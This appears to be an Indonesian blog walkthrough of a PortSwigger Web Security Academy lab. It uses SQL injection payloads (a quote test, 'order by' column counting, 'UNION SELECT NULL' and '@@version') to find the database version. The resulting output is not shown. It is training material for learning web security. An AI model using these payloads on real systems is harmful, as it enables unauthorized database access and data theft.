Portswigger academy SQLi Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
Lab ini mencari versi database dari MySQL dan Microsoft.
Seperti biasa, cek kerentanan dengan tanda ' di url setelah parameter.
Menjadi seperti ini:
https://0a9d00ce032121e181810781006a005a.web-security-academy.net/filter?category=Pets'
jika error brarti ada potensi rentan. Selanjutnya lakukan tahapan:
Penting: untuk tipe database MySQL tambahkan tanda + setelah -- . Tanda + itu brarti spasi.
'order+by+1--+
'order+by+2--+
'order+by+3--+ (eror di 3) Jumlah kolom 2.
'union+select+NULL,NULL--+
'union+select+'a','a'--+ (keduanya berhasil menampilkan teks, jadi bisa dilakukan dimana saja untuk mengecek versionnya.
Selanjutnya jalankan:
'+UNION+SELECT+@@version,+NULL--+
Maka akan keluar hasilnya:



Komentar
Posting Komentar